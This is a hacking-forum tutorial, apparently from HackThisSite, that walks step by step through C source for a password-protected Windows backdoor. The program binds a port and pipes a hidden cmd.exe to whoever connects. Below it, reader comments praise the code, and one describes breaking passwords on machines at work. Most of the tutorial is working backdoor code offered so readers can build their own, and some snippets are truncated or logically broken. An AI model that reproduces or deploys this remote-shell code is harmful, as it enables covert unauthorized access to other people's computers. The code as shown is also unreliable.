Download program and sourcecode used in this tutorial here.
What will we need:
- 2 sockets, one to listen to a specific port, and the other to establish the connection.
- at least one buffer to read and write data, but we will use 2 in this tutorial.
- 4 handles to redirect the input / output for cmd.exe
These are the most important things, although we'll need some other variables / structures as well to make the program work.
The program:
I will start with the main function, and i will describe the other functions after it.
Main function:
first we will check to see how much parameters the program has given since we want the program to be able to be used with a self-chosen port as well as a self-chosen password:
CODE :
if(argc!=3) //check if we are having enough parameters
{
Usage(argv[0]); //if not, then display usage and exit program.
return EXIT_FAILURE;
}
Next we will check if the portnumber given is really a number and if it is a portnumber usable for tcp/ip:
CODE :
//check if the portnumber given is really a number
for(i=0;i
{
if(isdigit(argv[1][i])==0)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
}
port=atoi(argv[1]); //make integer from ascii string
//final check to see if it is a real port number
if(port>65535||port<1)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
Make everything ready and start listening to the port given:
CODE :
//tell windows we want to use sockets
WSAStartup(0x101,&wsadata); //we will use version 1.1 here
//create socket
locsock=socket(AF_INET,SOCK_STREAM,0);
//bind the socket to the specified port
if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
{
WSACleanup();
printf("Error binding socket.");
return EXIT_FAILURE;
}
//listen on the specified socket
if(listen(locsock,5)==SOCKET_ERROR)
{
WSACleanup();
printf("Error listening socket.");
return EXIT_FAILURE;
}
Here we will have the infinite loop to accept connections and check the password. If password given is correct then we will start the CommandPrompt() function, if not, then we will close connection and start listening again.
CODE :
//infinite loop here to keep the program listening
while(1)
{
remsock=SOCKET_ERROR;
while(remsock==SOCKET_ERROR)
{
//accept connection to our program
remsock=accept(locsock,NULL,NULL);
if(remsock==INVALID_SOCKET)
{
//cleanup and exit program
WSACleanup();
printf("Error accepting socket.");
return EXIT_FAILURE;
}
}
//ask for password
send(remsock,welcome,sizeof(welcome),0);
recv(remsock,bufferin,sizeof(bufferin),0);
//check password given
bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character
if(strcmp(bufferin,argv[2])!=0)
{
send(remsock,"nAccess Denied.n",17,0);
}
else
{
CommandPrompt(); //start the commandprompt function
}
closesocket(remsock); //close the socket
}
Usage function:
This function displays the usage of the program and then exits the program:
CODE :
void Usage(char AppName[]) //the function which does nothing more then print out the usage
{
printf("backdoor, written by White Scorpion Security (C) 2005n");
printf(" **** http://www.white-scorpion.nl ****nn");
printf("Usage: %s < port > < password >n",AppName);
}
CommandPrompt function:
This function actually does most of the work, it starts the command prompt, redirect its output and send and receive the data to the socket / command prompt.
first we define the variables used in this function, the 2 exits are used to intercept the command 'exit', since otherwise our program would hang if we don't.
CODE :
secat.nLength=sizeof(SECURITY_ATTRIBUTES);
secat.bInheritHandle=TRUE;
DWORD bytesW; //number of bytes written gets stored here
HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
Then we create the pipes used to redirect cmd.exe 's input and output, get the startup info and fill its structure:
CODE :
//create the pipes for our command prompt
CreatePipe(&newstdin,&writein,&secat,0);
CreatePipe(&readout,&newstdout,&secat,0);
GetStartupInfo(&startinfo);
//fill another structure
startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
startinfo.wShowWindow=SW_HIDE;
startinfo.hStdOutput=newstdout;
startinfo.hStdError=newstdout;
startinfo.hStdInput=newstdin;
Now we will start the process cmd.exe:
CODE :
//start cmd prompt
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,
CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
//No error checks here, but you should do it to prevent unwanted behaviour.
Finally we have the endless loop which receives the output from cmd.exe and sends it to the socket, the data received from the socket is written to cmd.exe to execute the command given.
CODE :
while(1)
{
//check if cmd.exe is still running, if not then cleanup and start listening again.
if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
{
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
break;
}
bytesRead=0;
//sleep 0.5 seconds to give cmd.exe the chance to startup
sleep(500);
//check if the pipe already contains something we can write to output
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
if(bytesRead!=0)
{
while(bytesRead!=0)
{ //read data from cmd.exe and send to client, then clear the buffer
//receive the command given
recv(remsock,bufferin,sizeof(bufferin),0);
//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
//from hanging.
if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
{
//let cmd.exe close by giving the command, then go to closeup label
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
goto closeup;
}
//else write the command to cmd.exe
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
//clear the bufferin
for(i=0;i
{
bufferin[i]=0;
}
}
And we cleanup everything and return to main, which will then start listening again.
CODE :
//close up all handles
closeup:
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
This is all, 3 functions, and some code and you can write your own backdoor. the complete sourcecode and final program from this tutorial can be downloaded from here.
Cast your vote on this article *Note: the order of the votes has been reversed.
Comments: Published: 13 comments.
By: KSEboom - 07:47 am Saturday February 09th, 2008
Hmmmm, alot of detail has gone into this.
Nice work (Y)
By: Stevenmn - 02:07 pm Saturday February 09th, 2008
Very usefull
By: bonzdead - 12:03 pm Wednesday February 13th, 2008
Very nice! Put together very well. And does excellent job explaining the code and why it is needed. The examples were also very helpful.
By: philop_kidrock - 12:35 am Thursday February 14th, 2008
how about metasploit can you provide me a tips about the commands used in it.. or do you had any idea about that software.... anybody who had the any idea please inform me.. this is my e-mail add kid_learns_2_rock@yahoo.com
not really what it's title suggests, this article just explains how to interface with cmd.exe
it's importable and not really innovative, it's been explained before and badly commented.
By: white_scorpion - 01:42 am Thursday February 21st, 2008
Why should it be innovative? Back then when I was writing a backdoor this was the most difficult part to figure out, how to use the pipes.
Besides that, I've never seen any backdoor code which is portable, meaning it's usable for several OS's like Windows and Linux, since the system calls on those OS's are different. If you feel different then please write a text yourself about portable backdoors ;)
By: hackuk_33 - 05:16 am Thursday February 21st, 2008
ok, im a little new to this kind of stuff, been breaking security on local machines for a while (i fix computers at work, and people dont always remember their passwords) but im just starting on stuff over a network
i assume i need to use putty or telnet with this or something, but im confused, whenever i run this program on my computer no process starts for it or anything, i looked over the code (i have experience with c++ not so much c though, so i mostly understood it) and everything seems fine, but it doesnt seem to be implementing an infinate loop on my machine and idk why?
not to mention can someone post how i would connect? im assuming my ip into putty over a tcp/ip connection
this code is alot bigger than it needs to be. Also, this is not a backdoor, its a remote shell. You only need 1 port to listen, then you bind to that port and send() recv() from there.
You don't need 4 handles to get the command prompt. Also there are ways to not use a buffer.
rigt now i dont know much about yhis type of programming, but i can understand its importance
By: GreyMageIvan - 11:03 pm Thursday June 19th, 2008
Finally, someone explains how to link up a program to a socket or two. I give 8/10, Great content, but I needed to see the source file in the zip to get my code working, specifically with var datatypes.
This site is the collective work of the
HackThisSite staff. Please don't reproduce in part or whole without permission.
Page Generated: Sun, 20 Jul 2008 20:14:39 -0500 Exec:
118